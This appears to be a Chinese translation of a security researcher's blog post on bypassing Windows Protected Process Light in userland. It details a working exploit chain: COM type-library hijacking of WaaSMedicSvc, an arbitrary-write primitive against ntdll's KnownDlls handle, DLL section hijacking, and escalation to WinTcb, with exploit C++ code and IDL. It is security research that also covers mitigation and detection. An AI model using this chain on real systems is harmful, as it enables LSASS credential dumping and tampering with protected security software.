绕过 Userland 中的 PPL
2023-5-22 16:28:14 Author: 红队蓝军(查看原文) 阅读量:16 收藏

在这里,我将讨论我如何能够绕过 Microsoft 实施的最新缓解措施,并开发一个新的 Userland 漏洞,用于在具有最高签名者类型的 PPL 中注入任意代码。

PP(L)s的现状

我之前关于受保护进程的工作,产生了一个名为PPLdump的工具,它展示了具有管理员权限的用户可以在 Userland 中的此类进程中注入任意代码,从而有效地绕过 LSA 保护而无需内核驱动程序.

不过,在 2022 年 7 月,微软通过阻止 PPL 加载“已知 DLL”来终止这种利用。为此,他们只是修改了if进程初始化例程中的语句,以确保如果进程受到保护(即\KnownDllsPPL 或 PP),目录句柄不会被初始化,而以前这种行为仅对 PP 有效。

然而,\KnownDlls目录句柄初始化只是问题的一部分。根本问题仍然存在,即从 Section 对象映射时,DLL 的签名未被验证。这对我们来说意味着,如果我们设法在\KnownDlls正常初始化句柄的地方写入有效的对象目录句柄,我们仍然可以使用相同类型的 DLL 劫持漏洞,从而在 PPL 中注入未签名的代码。

这里没有什么新鲜事。几年前,Alex Ionescu 和 James Forshaw 在讨论他们发现的用于在 PPL 和 PP 中注入代码的各种技术时已经解释过这一点。因此,我将在此处讨论的漏洞利用链主要依赖于James Forshaw 的博客文章系列“使用 COM 将代码注入 Windows 受保护进程”(第 1 部分、第 2 部分)中已经描述的内容。

把手\KnownDlls_

我们的目标是在最高保护级别(即 )的 PPL 中注入任意代码WinTcb。为此,我们将采取以下策略:

  1. 在通常初始化句柄的地方写一个有效的对象目录句柄(例如:); \Foo\KnownDlls
  2. 从此对象目录中的任意 DLL创建一个 Section 对象(例如:) ;\Foo\Bar.dll
  3. 强制目标 PPL 调用LoadLibrary(Ex)(例如 LoadLibrary("Bar.dll"):)以便它加载我们的未签名代码。

我们需要实现这种情况的是写什么位置条件。“ where ”部分是微不足道的。句柄\KnownDlls存储在全局变量中ntdll!LdrpKnownDllDirectoryHandle,因此位于所有进程的相同地址。

explorer.exe例如,如果我们附加到WinDbg,我们可以看到它ntdll!LdrpKnownDllDirectoryHandle位于0x7ffafdc5c030并具有值0x3c

0:066> dq ntdll!LdrpKnownDllDirectoryHandle L1
00007ffa`fdc5c030  00000000`0000003c
0:066> !handle 3C 5
Handle 3c
  Type             Directory
  Name             \KnownDlls

如果我们附加到spoolsv.exe(Print Spooler 服务),我们可以看到它ntdll!LdrpKnownDllDirectoryHandle确实具有相同的地址0x7ffafdc5c030,但具有不同的值。

0:009> dq ntdll!LdrpKnownDllDirectoryHandle L1
00007ffa`fdc5c030  00000000`00000044
0:009> !handle 44 5
Handle 44
  Type             Directory
  Name             \KnownDlls

至于“什么”部分,它有点复杂,因为我们需要写入的句柄值必须引用目标 PPL 中的有效对象目录,并且我们无法打开具有允许我们确定其访问权限的进程价值。

可以使用 System Informer 等工具找到这两个问题的解决方案,方法是检查 PPL与正常进程中打开的句柄。

使用 System Informer 查看对象目录句柄

一个“正常”进程至少explorer.exe有两个打开的目录句柄(\KnownDlls\Sessions\1\BaseNamedObjects本例中),而 PPL 只有wininit.exe一个。在 PPL 的情况下,System Informer 不显示目录的名称,因为它必须打开进程才能PROCESS_DUP_HANDLE复制句柄并查询其属性,而这正是因为进程受到保护而无法做到的。

解决此问题的一种方法是使用内核调试器。在这里,我们可以看到 handle references \BaseNamedObjects,我们可以从之前的观察中猜到。

使用 WinDbg 查看有关句柄的信息

然而,虽然 System Informer 没有显示目录的名称,但它仍然能够获取在受保护进程中打开的句柄列表。NtQuerySystemInformation这是通过系统调用和信息类实现的SystemHandleInformation。在调用该函数时,系统会慷慨地提供所有进程中所有已打开句柄的列表。SYSTEM_HANDLE_TABLE_ENTRY_INFO每个句柄条目都以包含 3 个有趣成员的结构形式返回:UniqueProcessId,ObjectTypeIndexHandleValue

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

感谢该UniqueProcessId成员,我们将能够列出属于我们目标 PPL 的所有句柄。该ObjectTypeIndex成员将允许我们仅查找与“Directory”类型的对象关联的句柄。\BaseNamedObjects这样,我们就可以确定几乎任何受保护进程中句柄的值。

我们现在同时拥有假设的write-what-where条件的“ what ”和“ where ” 。我们还是要找到“写”。

COM类型混淆

我们需要找到一个任意的内存写入原语。但是,依靠服务或任何其他可作为 PPL 运行的可执行文件中的 0 日漏洞不是一种选择。不过,我们可以做的是在暴露 COM 对象的受保护进程中引起类型混淆,如使用COM 将代码注入 Windows 受保护进程中所述。

尽管 (D)COM 是建立在 DCE/RPC 之上的,但两者之间存在根本区别。使用 DCE/RPC,编组和解组数据的过程始终是静态的,因为它是在构建时根据 IDL 文件预先确定的。例如,接口的 IDLMS-EFSR描述了如何编组调用过程中发送的数据,EfsRpcOpenFileRaw如下所示。

long EfsRpcOpenFileRaw(
    [in]            handle_t                   binding_h,
    [out]           PEXIMPORT_CONTEXT_HANDLE * hContext,
    [in, string]    wchar_t                  * FileName,
    [in]            long                       Flags
);

但是,对于 (D)COM,此过程可能依赖于类型库,在这种情况下,封送处理是在运行时确定的。让我们考虑以下虚拟示例。我们有一个描述接口的类型库ICounter。此接口有一个方法 ,GetCounterValue它将 aCounterName作为输入值,并返回 a CounterValue


interface ICounter : IUnknown {
    HRESULT GetCounterValue([in] BSTR Name, [out] ULONG* Value);
};

在此配置中,out参数Value未由客户端编组。当服务器端GetCounterValue例程返回时,它将被服务器封送。

说明从类型库动态生成代理和存根的图表

但是,如果我们以某种方式设法强制服务器加载我们控制的类型库,我们可能会像这样更改接口定义,从而引起类型混淆。

interface ICounter : IUnknown {
    HRESULT GetCounterValue([in] BSTR Name, [in] ULONG Value);
};

在这个新配置中,参数Value成为攻击者控制的输入,在调用服务器存根时将按原样封送。但是,在服务器端,GetCounterValue例程仍会将其视为指针,从而导致类型混淆。在此示例中,零将写入任意地址。

说明由被劫持的类型库引起的类型混淆的图表

如果我们能找到一个暴露这样一个 COM 对象的受保护进程,我们就可以使用这个技巧来实现我们的write-what-where条件。

Windows 更新医疗服务 (WaaSMedicSvc)

在从事这个项目之前,我已经从事过 Windows Update Medic Service 的工作,因此我知道这是一个有趣的目标。

此服务在 Signer 类型的 PPL 中运行Windows。这不是最大值 ( WinTcb),但稍后我们会谈到它。

WaaSMedicSvc使用 System Informer查看属性

此服务公开两个 COM 对象:WaaSProtectedSettingsProviderWaaSRemediation。后者实现了几个接口,其中一个是IWaaSRemediationEx,它有一个关联的类型库。

列出公开的 COM 对象WaaSMedicSvc

如果我们从 OleViewDotNet 创建一个实例WaaSRemediation,我们确实可以看到对进程监视器的调用LoadRegTypeLib,导致文件C:\Windows\System32\WaaSMedicPS.dll被加载。

WaaSMedicSvc使用 Process Monitor观察正在加载的代理/存根 DLL

该类WaaSRemediation具有 CLSID 72566E27-1ABB-4EB3-B4F0-EB431CB1CB32,因此我们可以在注册表中的以下位置找到其注册信息:HKLM\SOFTWARE\Classes\CLSID\{72566e27-1abb-4eb3-b4f0-eb431cb1cb32}

WaaSRemediation查看注册表中类的属性

类型库的 ID 为3ff1aab8-f3d8-11d4-825d-00104b3646c0,因此我们可以在以下位置找到它:HKLM\SOFTWARE\Classes\TypeLib\{3ff1aab8-f3d8-11d4-825d-00104b3646c0}。TypeLib 路径存储在 key 中1.0\0\Win64

WaaSRemediationLib在注册表中查看类型库的属性

目标文件是一个 DLL,所以我们应该无法劫持它,因为进程是受保护的,对吧?好吧,事实证明类型库既可以存储为独立 .tlb文件,也可以嵌入到 EXE/DLL 中。即使在后一种情况下,这也不是问题,正如 JF 所解释的那样:

[…] 类型库只是数据,因此可以在不违反任何签名级别的情况下加载到 PPL 中。

如果我们想劫持这个类型库,我们只需要在创建类的实例之前编辑注册表项...\1.0\0\Win64并设置我们控制的类型库文件的路径WaaSRemediation。

界面IWaaSRemediationEx_

现在我们知道了如何劫持类型库,我们应该关注我们可以覆盖的接口和方法。为此,我们可以先使用 OleViewDotNet 或 OleView(Windows SDK 附带)检查原始 TypeLib 的内容。

interface IWaaSRemediationEx : IDispatch {
    [id(0x60020000)]
    HRESULT LaunchDetectionOnly(
                    [in] BSTR bstrCallerApplicationName, 
                    [out, retval] BSTR* pbstrPlugins);
    [id(0x60020001)]
    HRESULT LaunchRemediationOnly(
                    [in] BSTR bstrPlugins, 
                    [in] BSTR bstrCallerApplicationName, 
                    [out, retval] VARIANT* varResults);
};

该接口有两个过程,LaunchDetectionOnlyLaunchRemediationOnly。它们每个都有一个out我们可以覆盖的返回值,以便服务器在我们控制的地址写入任意数据。

通过一些静态逆向工程,我们可以看到,最终,它们都调用了内部函数LaunchRemediationHelper


// LaunchDetectionOnly
hr = LaunchRemediationHelper(..., NULL, param_1, &pwszResult);
if (FAILED(hr)) {
    // Report failure
}
*param_2 = SysAllocString(pwszResult);

在下面相应的程序集中,我们控制RSI. SysAllocString所以,这很简单,我们可以通过在任意位置写入来获得返回值。

CALL  qword ptr [->OLEAUT32.DLL::SysAllocString]
MOV   qword ptr [RSI],RAX

返回的值LaunchRemediationOnly是一个VARIANT。的类型VARIANTVT_UINT(即 0x17),它的值是的结果LaunchRemediationHelper


// LaunchRemediationOnly
hr = LaunchRemediationHelper(..., param_1, param_2, NULL);
if (FAILED(hr)) {
    // Report failure
}
param_3->vt = VT_UINT; // 0x17 (23)
param_3->uintVal = hr;

在下面相应的程序集中,我们控制RDI. 因此,我们可以在任意位置写入,并在该地址后 8 个字节写入WORD 0x17结果。LaunchRemediationHelper此外,据我所知,LaunchRemediationHelper总是返回S_OK(即 0x00000000)。

MOV   EAX,0x17
MOV   word ptr [RDI],AX
MOV   dword ptr [RDI + 0x8],EBX

因此,我们潜在的写原语可以总结如下,其中xx代表一个未知的值被写入,??代表内存中的一个值将保持不变。

IWaaSRemediationEx::LaunchDetectionOnly
    -> xx xx xx xx xx xx xx xx
IWaaSRemediationEx::LaunchRemediationOnly
    -> 17 00 ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ??

这两个原语至少可以说不是很好,但是我们有什么方法可以利用它们来实现我们的目标吗?

任意写原语?

我们的目标是将对象目录的句柄值写入\BaseNamedObjects地址ntdll!LdrpKnownDllDirectoryHandle。这里有一些关于手柄的特性值得一提。

  1. 句柄定义为指针 ( ),因此它们在 64 位系统上typedef void *HANDLE存储为8 字节值
  2. 句柄不是随机的,它们是从0x044 开始递增创建的。
  3. 句柄值的低 2 位被忽略。

在我们的例子中,\BaseNamedObjects句柄是在进程创建的早期阶段打开的,因此它的值不应超过0xfc,因此应该适合一个字节。此外,如果 handle 值为0x54instance,则接下来的三个值0x55,0x56和0x57, 也是完全有效的。

在前面的部分中,我们看到我们可以强制LaunchDetectionOnly写入SysAllocStringat 任意地址返回的堆地址。0x1fade7354b8例如,这样的地址可以是or b8 54 73 de fa 01 00 00,遵循小端表示法。

如果我们将此地址视为一系列简单的字节,我们可以看到它包含我们想要的值——假设句柄0x54的值为。由于我们的类型混淆技巧,我们可以强制服务将返回的堆地址写入,这将在内存中产生类似这样的内容。\BaseNamedObjects0x54ntdll!LdrpKnownDllDirectoryHandle-1

调用后的内存布局LaunchDetectionOnly

当然,我们想要 value 54 00 00 00 00 00 00 00,而不是54 73 de fa 01 00 00 00所以我们需要将 4 个额外字节设置为零。这是LaunchRemediationOnly派上用场的地方。我们知道这个方法可以用来写pattern 17 00 ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ??,它方便地包含4个连续的零。随意编写此模式ntdll!LdrpKnownDllDirectoryHandle-7会在内存中产生类似的内容。

调用后的内存布局LaunchRemediationOnly

而我们终于得到了预期的句柄值!当然,这是一个简单的例子,因为 返回的地址包含LaunchDetectionOnly我们需要的字节。在实际的利用中,我们无法知道 返回的地址值SysAllocString。我们也不知道ntdll!LdrpKnownDllDirectoryHandle应该写在哪个偏移量处。

也就是说,虽然堆地址是随机的,但它们遵循一些我们可能能够利用的对齐规则。因此,我编制了一个由 返回的 2000 个地址的数据集,LaunchDetectionOnly并使用一个简单的 Excel 电子表格来确定根据我们要写入的句柄值采用的最佳策略。请记住,即使目标进程受到保护,这个值也是我们可以确定的。

我不会向您介绍无聊的细节,但从本质上讲,最有效的策略是:

  1. 如果目标句柄值是0x1832 的倍数(例如 0x38,0x58等),则将地址准确写入ntdll!LdrpKnownDllDirectoryHandle并调用LaunchRemediationOnly两次以清除剩余的五个随机字节。
  2. 否则,写入地址ntdll!LdrpKnownDllDirectoryHandle-1并调用LaunchRemediationOnly一次以清除剩余的四个随机字节。

然后,理论上只是重复这个问题,直到我们达到适当的值。

测试内存写入

现在我们有了漏洞利用策略,我们应该实施并测试它。第一步是创建类型库。如前所述,我只是将两个out参数转换为[in] ULONGLONG输入值。

interface IWaaSRemediationEx : IDispatch {
    [id(0x60020000)]
    HRESULT LaunchDetectionOnly(
                    [in] BSTR bstrCallerApplicationName, 
                    [in] ULONGLONG pbstrPlugins);
    [id(0x60020001)]
    HRESULT LaunchRemediationOnly(
                    [in] BSTR bstrPlugins, 
                    [in] BSTR bstrCallerApplicationName, 
                    [in] ULONGLONG varResults);
};

然后,我们可以使用下面的代码来检查是否一切都按预期工作。请注意,出于测试目的,此处的地址ntdll!LdrpKnownDllDirectoryHandle只是硬编码。


DWORD64 dwKnownDllDirectoryHandle;
DWORD64 dwLaunchRemediationOnly;
DWORD64 dwLaunchDetectionOnly;
BSTR ClientApplication = SysAllocString(L"");
BSTR Plugins = SysAllocString(L"");
IWaaSRemediationEx* pWaaSRemediationEx;

// Where to write?
dwKnownDllDirectoryHandle = 0x00007fff971dc030;
dwLaunchDetectionOnly = dwKnownDllDirectoryHandle - 1;
dwLaunchRemediationOnly = dwKnownDllDirectoryHandle - 7;

// Create an instance of the object WaaSRemediation
CoCreateInstance(
    CLSID_WaaSRemediation,
    NULL,
    CLSCTX_LOCAL_SERVER,
    IID_PPV_ARGS(&pWaaSRemediationEx)
);

// Write the address returned by SysAllocString at dwLaunchDetectionOnly
pWaaSRemediationEx->LaunchDetectionOnly(
    ClientApplication, 
    dwLaunchDetectionOnly
);

// Write result at dwLaunchRemediationOnly to clear unwanted bytes
pWaaSRemediationEx->LaunchRemediationOnly(
    Plugins,
    ClientApplication,
    dwLaunchRemediationOnly
);

pWaaSRemediationEx->Release();

不幸的是,这并不是那么简单。对 的初始调用LaunchDetectionOnly工作正常,但随后对这两种方法中的任何一种的任何后续调用都会导致崩溃,如下面的 WinDbg 输出所示。

(2a28.2c3c): Invalid handle - code c0000008 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!KiRaiseUserExceptionDispatcher+0x3a:
00007fff`7199108a 8b8424c0000000  mov     eax,dword ptr [rsp+0C0h] ss:00000055`2db7bf70=c0000008
0:002> k
 # Child-SP          RetAddr           Call Site
00 00000055`2db7beb0 00007fff`71905157 ntdll!KiRaiseUserExceptionDispatcher+0x3a
01 00000055`2db7bf80 00007fff`719043ea ntdll!LdrpFindKnownDll+0x77
02 00000055`2db7bff0 00007fff`719088a8 ntdll!LdrpLoadKnownDll+0x52
03 00000055`2db7c050 00007fff`71907b29 ntdll!LdrpLoadDependentModule+0xcc8
04 00000055`2db7c5b0 00007fff`71904c14 ntdll!LdrpMapAndSnapDependency+0x199
05 00000055`2db7c630 00007fff`7194fdd3 ntdll!LdrpMapDllWithSectionHandle+0x184
06 00000055`2db7c680 00007fff`7194fb00 ntdll!LdrpMapDllNtFileName+0x19f
07 00000055`2db7c780 00007fff`7194ed9f ntdll!LdrpMapDllFullPath+0xe0
08 00000055`2db7c910 00007fff`7190fb53 ntdll!LdrpProcessWork+0x123
09 00000055`2db7c970 00007fff`719073e4 ntdll!LdrpLoadDllInternal+0x13f
0a 00000055`2db7c9f0 00007fff`71906af4 ntdll!LdrpLoadDll+0xa8
0b 00000055`2db7cba0 00007fff`6f11ae52 ntdll!LdrLoadDll+0xe4
0c 00000055`2db7cc90 00007fff`5cf1ab37 KERNELBASE!LoadLibraryExW+0x162
0d 00000055`2db7cd00 00007fff`5cf19903 waasmedicsvc!WaasMedic::CWaasRemediation::LoadPluginLibrary+0x15f
0e 00000055`2db7cf80 00007fff`5cf3656e waasmedicsvc!WaasMedic::CWaasRemediation::RunEx+0x223
0f 00000055`2db7d170 00007fff`5cf361d2 waasmedicsvc!WaaSRemediationAgent::LaunchRemediationHelper+0x1ce
10 00000055`2db7d2b0 00007fff`7128fd0f waasmedicsvc!WaaSRemediationAgent::LaunchDetectionOnly+0xf2
[...]

LdrpFindKnownDll源自 的函数LoadLibraryExW引发异常0xC0000008,即 EXCEPTION_INVALID_HANDLE。执行到这一步,\KnownDlls目录句柄的值确实有点像0x00000001c026de8b,又LoadLibraryExW不像。谁曾想到?…

为了弄清楚为什么LoadLibraryExW被调用,我们需要更好地理解它是如何LaunchDetectionOnly工作LaunchRemediationOnly的。首先,正如我们之前看到的,这两个方法调用相同的辅助函数——LaunchRemediationHelper但输入参数略有不同。该LaunchRemediationHelper方法本身创建该类的一个实例CWaasRemediation并使用它来调用该方法RunEx。直到那时,事情才开始变得更有趣,因为RunEx调用了唤起方法LoadPluginLibrary

DWORD WaasMedic::CWaasRemediation::LoadPluginLibrary(
    CWaasRemediation *this, LPWSTR pwszFilePath) {

    WCHAR pwszPluginDllPath[MAX_PATH+1];
    HANDLE hFile;
    BOOL bTestSigning;
    HMODULE hLibrary;

    ExpandEnvironmentStringsW(pwszFilePath, pwszPluginDllPath, MAX_PATH);
    
    hFile = CreateFileW(pwszPluginDllPath, GENERIC_READ, FILE_SHARE_READ,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (IsTrustedLibrary(pwszPluginDllPath)) {
        if (IsTestSigningEnabled()) {
            hLibrary = LoadLibraryExW(
                pwszPluginDllPath, NULL,
                LOAD_LIBRARY_SEARCH_SYSTEM32 | LOAD_LIBRARY_REQUIRE_SIGNED_TARGET
            );
        } else {
            hLibrary = LoadLibraryW(pwszPluginDllPath);
        }
    }
}

此方法是LoadLibraryExWAPI 调用的来源。在那个调用之前,我们可以看到目标文件是用打开的CreateFileW,然后路径被传递给内部函数IsTrustedLibrary。如果我们能导致这两个函数之一失败,我们就可以阻止插件 DLL 的加载,从而防止崩溃。

人们可能认为我们可以在不共享任何访问权限的情况下抢先打开目标文件,但正如 James Forshaw 在这份错误报告中所概述的那样,这并不是那么简单。

[…] 如果您没有对文件的写权限,操作系统会自动应用 FILE_SHARE_READ,这使得无法完全锁定文件 […]

但是,他还描述了以下替代方法。

LockFile我们可以通过使用API 在文件的那部分放置排他锁来导致读取失败。

内部函数IsTrustedLibrary最终调用(未记录的)WTGetSignatureInfoAPI。此 API 需要读取目标文件以验证其签名。我们可以利用这种行为来获得优势,并锁定文件的一部分以导致此操作失败。

最重要的是,这对我们的漏洞利用有一个非常好的副作用。通过这个简单的技巧,我们可以在不改变它们的返回值的情况下,以可控的方式使 和 都失败LaunchDetectionOnlyLaunchRemediationOnly具体来说,这意味着调用将几乎立即返回,而不是花几秒钟来执行,从而使整体利用速度更快。

“已知”DLL 劫持

在前面的部分中,我们看到了如何获得一个原语,该原语允许我们在 的地址写入一个随机ntdll!LdrpKnownDllDirectoryHandle字节。不幸的是,我们无法弄清楚写入的值是什么。我们唯一能做的就是尝试劫持一个 DLL 并查看它是否被加载,这要归功于诸如Eventfor 之类的同步对象。如果没有,我们只需要重复直到我们成功。

问题是,我们如何强制服务加载 DLL?这个问题有多种解决方案,但我选择的那个是相当机会主义的。我们之前看到类WaaSRemediation也实现了ITaskHandler接口。该接口的 Proxy 和 Stub 在TaskSchedPS.dll. 因此,第一次使用它时,COM 运行时将尝试加载此 DLL。

使用 Process Monitor观察TaskSchd.dll正在加载的DLLWaaSMedicSvc

劫持这样的 DLL 也有一个额外的好处。代理/存根 DLL 必须实现 4 个标准函数:DllGetClassObjectDllCanUnloadNowDllRegisterServerDllUnregisterServer该函数DllGetClassObject,特别是在实例化一个对象时被调用,所以我们可以用它来实现我们的payload,从而避免了处理加载器锁定的麻烦DllMain

用PE熊查看TaskSchd.dll的导出表

从理论上讲,理论和实践之间没有区别。但是,在实践中,是有的。” 这太对了。在实现这个过程中,我遇到了三个值得一提的问题。

第一个是我没有花时间全面调查的怪癖。如果加载的 DLL 的名称是,则加载程序会在映射到进程地址空间中的部分后foo.dll尝试打开文件。\foo.dll这会导致对 的文件访问失败C:\foo.dll,导致加载程序返回状态代码0xc0000034( STATUS_OBJECT_NAME_NOT_FOUND)。作为我利用的一个简单解决方法,我选择创建文件C:\foo.dll并在完成后将其删除。它不优雅,但可以工作。

我遇到的第二个问题是目标进程在尝试加载 DLL 时随机崩溃。这似乎发生在写入句柄值为0x010x02或 时0x03。在这种情况下,虽然这些值不为空,但它们都代表一个空句柄。不幸的是,我无法可靠地重现这个问题。无论如何,如果在远程进程中发生这种情况,我们必须取消对 的调用CoCreateInstance,否则它将无限期挂起。

最后但同样重要的是,第三个问题是我的 DLL 加载失败并出现错误STATUS_INVALID_IMAGE_HASH。与此错误对应的纯英文消息是“ Windows 无法验证此文件的数字签名”。你猜怎么着,这正是你试图在受保护进程中加载未签名的 DLL 时遇到的错误。

细节决定成败

我提到的最后一个问题让我发疯了一段时间。在某些时候,我真的以为我回到了原点。最后发现我的测试方法有问题,导致我忽略了一个非常重要的细节。

在漏洞利用开发阶段,我正在使用 WinDbg 仔细调试所有内容。为了在 Userland 中执行此操作,我使用PPLKiller禁用了对目标进程的保护。在此配置中,一切正常,我的 DLL 已加载。实际测试的时候才发现其实是从本地文件加载的,而不是从Section中加载的。

使用 Process Monitor,我们可以看到以下调用 API 的调用堆栈LoadLibraryEx

LoadLibraryExW使用 Process Monitor查看调用堆栈

本质上,该方法LoadDll检索一些要传递给的标志LoadLibraryEx,然后调用LoadLibraryWithLogging.

// CClassCache::CDllPathEntry::LoadDll()
dwFlags = GetLoadLibraryAlteredSearchPathFlag();
LoadLibraryWithLogging(LVar7, pwszDllPath, dwFlags, param_5);

// LoadLibraryWithLogging()
hModule = LoadLibraryExW(pwszDllPath, NULL, dwFlags);

The flags passed to LoadLibraryEx are very important as they can highly impact the way DLLs are loaded, so we have to understand how they are determined in GetLoadLibraryAlteredSearchPathFlag.

ulong GetLoadLibraryAlteredSearchPathFlag(void) {
    AppModelPolicy_PolicyValue* polDllSearchOrder;
    
    if (g_LoadLibraryAlteredSearchPathFlag == 0xffffffff) {
    
        AppModelPolicy_GetPolicy_Internal(
          AppModelPolicy_Type_DllSearchOrder,
          polDllSearchOrder);

        if (*polDllSearchOrder == AppModelPolicy_DllSearchOrder_Traditional) {
            g_LoadLibraryAlteredSearchPathFlag = 0x2008;
        } else {
            // ...
        }
    }
    return g_LoadLibraryAlteredSearchPathFlag;
}

功能GetLoadLibraryAlteredSearchPathFlag比较简单。它首先检查全局变量是否g_LoadLibraryAlteredSearchPathFlag被初始化。如果不是,它会调用一个内部方法,该方法检索与当前在机器上执行的策略相对应的值,进行g_LoadLibraryAlteredSearchPathFlag相应设置,最后返回其值。

使用 WinDbg 检查目标进程中的此全局变量会显示以下值。


0:004> x combase!g_LoadLibraryAlteredSearchPathFlag
00007ff9`137225a4 combase!g_LoadLibraryAlteredSearchPathFlag = 0x2008

该值是标志( ) 和( )0x2008的组合。该标志只影响从当前目录加载的 DLL,因此在我们的例子中应该不是问题。LOAD_LIBRARY_SAFE_CURRENT_DIRS0x2000LOAD_WITH_ALTERED_SEARCH_PATH0x0008LOAD_LIBRARY_SAFE_CURRENT_DIRS

旗帜说明LOAD_LIBRARY_SAFE_CURRENT_DIRS

至于国旗LOAD_WITH_ALTERED_SEARCH_PATH,那就是另一回事了。文档指出,如果使用此标志并且输入路径是相对的,则行为LoadLibraryEx旗帜说明LOAD_WITH_ALTERED_SEARCH_PATH

这很不幸,但是这个问题有一个简单的解决方案。您可能注意到标志存储在全局变量中。因此,它们位于 的 R/W.data部分combase.dll。因此,我们可以在利用循环之前使用我们的内存写入原语将此值设置为零(即没有标志)。如果没有指定任何标志,对 的调用LoadLibraryEx基本上等同于对 的简单调用LoadLibrary

超越 PPL-Windows

此时,我们已成功将未签名代码注入到签名者类型为 的 PPL 中Windows。对于访问受保护的 LSASS 进程或受保护的 AV/EDR 来说绰绰有余,但如果我们能达到最高级别就更好了WinTcb

显示 Signer 类型层次结构的图表

事实证明,任何签约级别的 PPL 都可以提升到WinTcb. 不过,这并不是什么新鲜事,James Forshaw 在使用 COM 将代码注入 Windows 受保护进程 - 第 1部分的帖子“提升到 PPL-Windows TCB”部分中也对此进行了解释。

有一种后门允许 PPL 为任意 DLL 创建伪造的缓存签名。要了解有关此技术的更多信息,我建议您阅读前面提到的帖子和 CVE-2017-11830 CiSetFileCache TOCTOU 安全功能绕过的错误报告。

一旦我们为我们的 DLL 生成了伪造的缓存签名,我们就可以WerFaultSecure.exe从具有签名者类型的 PPL开始WinTcb,从而向其中注入任意代码。

结束语

总而言之,这篇博文中描述的漏洞利用链比PPLdump中使用的要复杂得多。我尽了最大努力以最可靠的方式实现了此处描述的所有技术和技巧,但最终还是存在无法完全管理的随机因素。如果你有兴趣测试它,我在 GitHub 上发布了一个新工具:PPLmedic

显示在 Windows 10 上执行概念验证的屏幕截图

此概念验证仅提供内存转储功能,就像PPLdumpWinTcb一样,但一旦您能够使用签名者类型和权限在 PPL 中执行任意代码,您还可以执行更多操作SYSTEM。正如SecIdiot (该帐户似乎已被删除)所示,在他们的概念验证ANGRYORCHARD(链接到 archive.org)中,您可以在 CSRSS 中注入代码,然后通过系统调用利用已知的内核 R/W 原语仅适用于此进程。

最后,您可能会问缓解和检测呢?关于缓解措施,微软明确表示受保护的进程不是安全边界,因此不应该太当真。但这并不意味着它们完全没用。例如,启用 LSA 保护将迫使试图转储 LSASS 的攻击者使用内核驱动程序或复杂的 Userland 漏洞利用,例如此处描述的漏洞,从而增加蓝队检测到的机会。说到检测,已经应用于凭证提取尝试的相同规则在这里仍然适用。至于工具本身的检测,我相信微软会迅速拿出一个签名,就像他们为 PPLdump 所做的那样。

itm4n.github.io/bypassing-ppl-in-userland-again/#an-arbitrary-write-primitive


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247509004&idx=1&sn=8f4814572f5447540512904e959e1667&chksm=ce671eb0f91097a6662fb542046bd680308e9b76ce520abedd6ec59e6f1471df48e4258de4eb#rd
如有侵权请联系:admin#unsafe.sh